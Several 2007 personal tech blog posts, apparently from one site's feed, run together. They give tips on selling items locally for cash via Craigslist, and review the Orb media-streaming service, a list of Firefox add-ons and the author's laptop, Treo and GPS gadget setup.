I hate ebay. I’ve been burned so many times before on ebay, from scams to broken goods, that I refuse to use it. But how do you sell all that junk you don’t need anymore? In this post I will describe some useful techniques to sell all the stuff you don’t need or want using social and local web sites. I deal in cash only, local pickup sales. I meet face to face with the buyers in a public space and never get scammed. It may take a little longer to sell your stuff, but its worth the wait when you get a motivated buyer willing to pay cash and pick up the item.

Every few years it seems like I go through a purge of all my old stuff. Over the course of a couple years I end up accumulating a bunch of gadgets and tools I just don’t really need anymore. I generally take very good care of my things, so they last longer and maintain a higher resale value. Instead of having something sitting in a box somewhere until its obsolete and worthless I try to purge these unused items. The point is, if you have something of SOME value (over $20?) but you don’t use it, what good is it to you? Just sell it. Using some smart techniques you can minimize your risk and make social selling tools work for you. People who respond on local sites are generally motivated individuals actively looking for what you are selling. No shipping costs when selling local either.

Lately I’ve been using Craigslist. I know there is still a potential for scams and spam on Craigslist, but you do not have to deal on their terms. Advertise your item in the appropriate category in your LOCAL city. State clearly in the post that you deal only in LOCAL CASH PICKUP. Meet with them on your terms in a public space. I usually meet up at a local coffee shop, I’ve never had any complaints. When posting your items, be as descriptive as possible. Include pictures, the more the better. Set your price maybe 10-15% higher than you are willing to accept so you can drop it a couple bucks when they try and haggle. Haggling is an important part of society and many cultures take it seriously, be flexible but prepared. It may take up to 2-3 weeks to sell an item on Craigslist, but I’ve had things sell in less than 2 hours. To date I have sold EVERY item I’ve listed on Craigslist.

I will also use localized web classifieds. Many local newspapers provide an area on their websites for users to post free sales ads. Use any free local posting service to get rid of your stuff that you can. Back in the late 90′s I used Yahoo! Classifieds to sell some things, I had decent luck at the time with it, when Yahoo had a decent user base. It may still be good, but I don’t know. If you have an extensive MySpace (or other social network) friends list, you can always post a bulletin. A lot of your friends have similar interests and might be interested in some of your stuff.

Finally you can always use a local physical bulletin board. Public bulletin boards can usually be found in coffee shops, music shops, grocery stores, and college campuses. Don’t be annoying with fliers, but if you are having a yard sale or selling a lot of things at once, it can help spread the w0rd to generate a better response or faster turnaround.

To keep track of all the crap I’ve been selling I even had to implement a rudimentary accounting system. I’ve been using a web application called SideJobTrack. I like it, a lot. Its not as fancy as some other time tracking and invoicing systems, but it works for me as a freelance consultant too.

(To give you a brief rundown of some of the devices you can stream your media to: Microsoft Xbox360, Nintendo Wii, Smartphones, PDAs, Sony Playstation 3, Laptops, Desktops, etc…) and (To give you a brief rundown of some of the data formats you can access through Orb: RSS feeds, photos, .mp3, xvid, divx, .mp4, .wav, .avi, .mpg, mpeg, live tv, etc…)

Orb Networks is the company that produces Orb2.0. The first line of their mission statement reads as follows: Orb Networks, Inc. is a team of entrepreneurial, talented and innovative people who are driven to fulfill the promise of the Internet. That is a lofty claim, to fulfill the promise of the Internet. I would say they are living up to part of that goal so far. The Orb software allows you to access your collection of data on your home pc or network from any web browser. That idea right there is HUGE, but what really makes Orb stand apart is how easy they make it work. You download the Orb software on your home PC and you are ready to rock and roll.

From the Orb website you can browse your music, movies, and other documents. Orb allows you to choose your streaming format too. You can play your music or movie in an embeded Flash player or your favorite media player. As long as your home PC has the proper codecs, Orb will re-encode your media and stream it to whatever device you are trying to play it on. Orb will adjust its bandwidth usage to insure smooth streaming.

Orb doesn’t stop at allowing you to stream music and movies, you can also watch LIVE TV!! As long as you have a supported tv tuner in your PC running Orb, you can stream your cable or satellite television to any device. I’ve used this feature while traveling and sitting in airports or long train rides. I can even set my DVR to record shows with Orb.

Orb can also function as a home security server. If you’ve got webcams attached to your Orb PC you can view the webcam from your mobile device. You can view your photo collection, read your RSS feeds, get stock quotes, weather, view your text documents, and view bookmarked online (youtube type) videos. The list goes on and on.

The main site you interface with your Orb server is http://mycast.orb.com. Once logged into your MyCast site, you can setup a personal home page using drag and drop widgets. Orb even supports Google Gadgets and multiple Tabs on your MyCast page. From the MyCast page you can manage all elements of your media including playlists, RSS Feeds, directories, and playback settings. The interface is intuitive and pleasing to the eye. Its an excellent example of using AJAX, JavaScript, and Flash to make a seamless web application. I look forward to the next round of web applications inspired by this new functionality.

And like all good software these days, it needs a social networking component. Widgets. Yes Widgets!! Everybody these days loves widgets. You can place them on your website on your MySpace profile or other social networking profile. You can even generate RSS feeds of your playlists to share. Orb even allows you to create a custom web page for your friends to view your shared media.

If you haven’t done so already…go download and install Orb! What are you waiting for? It’s FREE. If you stuck out this long to the end of the post, I thank you. Web 2.0 principals and technologies are allowing us to do remarkable things with our digital media and devices. The surface is just starting to be scratched when it comes to these kinds of advances. I’m looking forward to the next few years when we’ll begin to see a convergence of technology and everyday life. I wish luck to Orb Networks and their quest to fulfill the promise of the internet.

Before we begin, please make sure you have the latest version of Firefox installed on your computer. If you are using Firefox right now: click HELP, and Check for Updates. If you are using Internet Explorer or any other browser, please download and install FireFox now.

Now we are ready to begin in no particular order.

IE Tab: This add-on allows you to embed an Internet Explorer tab inside Firefox. If you use websites that only work on IE (like some banks, corporate websites, etc), this tab will allow you to view those sites directly in Firefox. No more having multiple browsers open and slowing down your machine. You can even run Windows Update from within the IE tab in Firefox. Now there really is no reason to open up IE.

Add2Netvibes: This extension assumes you are using Netvibes for your personal start page. If you aren’t using Netvibes now, you will after you install the extension. This adds a button to your Firefox navigation toolbar that will indicate the presence of an available RSS Feed of a website. This button allows you to easily add a feed directly into your Netvibes start page for syndicated reading later. Think of it as subscribing to a newspaper with the click of a button for free. If you dont use RSS feeds now, the combination of Netvibes and Add2Netvibes will make it super easy for you to start enjoying syndicated content from all over the world.

StumbleUpon Extension: This is more for fun that productivity. Basically StumbleUpon allows you to vote sites you visit "thumbs up" or "thumbs down". You may also "stumble" across the web, and view other pages that users have rated. You can choose the category or tags of pages you want to stumble. User suggested content has never been easier to find. The more you use the StumbleUpon Extension, the better the results for the community at large, and the better your stumbling experience will be in the future.

del.icio.us Extension: Keeping track of and sharing your bookmarks with friends, colleagues, and family has never been easier. Using this add-on with the single click of a button you can bookmark a page and/or forward it to someone. You can also tag sites by topic of interest so you can find your bookmarks faster when you need them. You’ll also never "loose" your bookmarks if your computer dies, you can access your bookmarks from any computer in the world.

Video Downloader: If you’ve ever seen a video on a website and wanted to save it but couldn’t…now you can. Video Downloader allows you to save videos from Youtube, Google Video, MySpace, iFilm, and all embedded objects on a webpage (movies, mp3s, flash, quicktime, etc) . This Add-on is simple to use and works well most of the time.

Secure Login: Extends Firefox security by using an Opera-like function to handle Usernames and Passwords to web sites. Instead of auto-filling information when you pull the site up, Secure Login prevents the username and password from being auto-inserted into forms. This feature will help prevent against malicious javascript and other code that may try to steal your login information. You can still auto-login by pressing the shortcut ALT+N. I highly suggest using this extension, especially if you log into many sites.

Well that wraps up my list for today. I will continue to add to it as I find more useful extensions to suggest. Thanks for reading and don’t forget to Subscribe!

]]> http://thew0rd.com/2007/06/08/the-w0rd-how-to-pimp-your-web-experience-with-firefox-add-ons/feed/ 0 http://thew0rd.com/2007/06/06/my-mobilegadget-lifestyle/ http://thew0rd.com/2007/06/06/my-mobilegadget-lifestyle/#comments Wed, 06 Jun 2007 09:59:40 +0000 Maz http://thew0rd.com/2007/06/06/my-mobilegadget-lifestyle/ [...]]]> What I’d like to do is layout some context as to how I use technology in my everyday life. I’ve chosen the "gadget" route/approach to technology when it comes to my daily habits. I’ve got many electronic devices to serve a multitude of purposes. My equipment is very similar to what your average "Road Warrior" would carry. I also have some niche gadgets for certain tasks. I will begin by listing the devices I use in the course of my life. How I use them will come after that.

My Devices/Gadgets:

• Acer Aspire 5672 (laptop)
• Palm Treo 700w (phone/pda)
• Apple iPod 30gb (mp3 player)
• Nikon Coolpix (4mp digital camera)
• Motorola HT820 (bluetooth stereo headphones)
• Microsoft USB GPS locator

………………………… OK. As you can see mobility is important. I don’t like being tied to one place when I’m working. Changes of scenery are appropriate for certain tasks. Having a laptop is important. I don’t really do much gaming on the computer, so a desktop computer doesn’t do me much good. Computers these days are almost "dead" machines without internet access. Sometimes you want to work where standard wireless access is not available, so having a personal backup internet system is key. I can tether my Treo 700w to my laptop (no wires through bluetooth!) and use my cell phone’s internet plan to use the Internet on my notebook. This allows me "true" mobility. I can access my data from anywhere.

Now don’t think I’m tied to my laptop all the time. I can access most of my most important data on my Treo 700w. The Treo 700w runs Windows Mobile 5.0 and there are many great applications for using the Internet to access your data. Some of the things I use my Treo for other than voice calls include: email, photo-blogging, text messaging, instant messaging (ICQ, AIM, Yahoo, MSN, gTalk, IRC, Jabber, etc…), remote desktop (to windows or linux systems), directions, maps, internet search, streaming media (audio AND video!), and read RSS feeds. Whew, thats a lot. As you can see, using the Palm device to access your information can come in handy. I don’t really do a lot of "work" on the phone itself, but I do use it to keep up with my data stream (email, news, messages, updates…) so I don’t need to be tied to the laptop.

With that said I do need to say it could be a LOT better. I fail to understand why the current generation of "smartphones" don’t handle internet data well. I’m guessing that even though the future iPhone from Apple will be a step up, I’m skeptical that it will really offer better integration with the current web technologies. What I want is a full browser, as powerful as FireFox or IE, with full Javascript support. Whats the issue? These "phones" are already costing us between $300-700 and don’t nearly offer the performance to price ratio you’d expect. It’s more like a size to price ratio.

Unfortunately my GPS is tied to my laptop. I use the GPS when I need to go out on service calls or traveling. I get lost, all the time. I also hate fumbling with paper maps while I’m driving. So having a GPS when I’m going to a new place comes in handy. Being able to save my route, calculate/track gas expenses is also great. As big a fan of gadgets as I am, I’m still not a fan of any of the smaller hand held GPS systems. I find the user interface on most of those devices to be cumbersome. I have considered getting a tiny pocket bluetooth GPS for my Treo 700w, but I can find my way when I’m on foot. To conserve battery on my notebook while I’m using the GPS system, I have a AC/DC converter box that I plug into my cigarette lighter. The laptop rides on the passenger seat. I use Microsoft Streets & Trips to navigate. It works well enough for what I do.

I love the IDEA behind the bluetooth headphones, but in practice its doesn’t quite work right ALL the time. But the concept is that I can connect the headphones to multiple devices, including the laptop and cell phone, at the same time. I work in public spaces where lots of noise can be distracting. If it gets too hard to concentrate I can listen to audio from my laptop, when a phone call comes in on my cell the headphones switch from the computer to the phone. That part works most of the time when I can get the headphones to connect to everything properly. I’m all for wireless solutions to problems (headphones, mice, internet, etc…) because it makes you more mobile. The fewer the wires, the more mobile you can be with your data.

The iPod is fun…but I never use it anymore. Now that I can stream my collection of media to almost any internet device, I dont really need the iPod. About the only time I use the iPod anymore is on long car trips or while flying. I haven’t used my iPod in quite a while.

The Future:

I’ll tell ya what I’d rather have. One device no larger than a small paperback book, light weight, always ON Internet for reasonable prices, LONG battery life (we are talking more than 10 hours at full usage), Voice calls while also using high speed internet, high resolution camera / digital camcorder, modern OS (windows, osx, linux whatever), and it all works. But as usual thats asking too much. The OQO looks really nice, but doesn’t have the battery life. Maybe another 5+ years before a device like that would be a viable solution for the average consumer. Technology is moving fast, but in some cases not fast enough. Being an early adopter has its ups and downs.

I will continue to update and discuss about how I use technology in the future. Until then, Peace.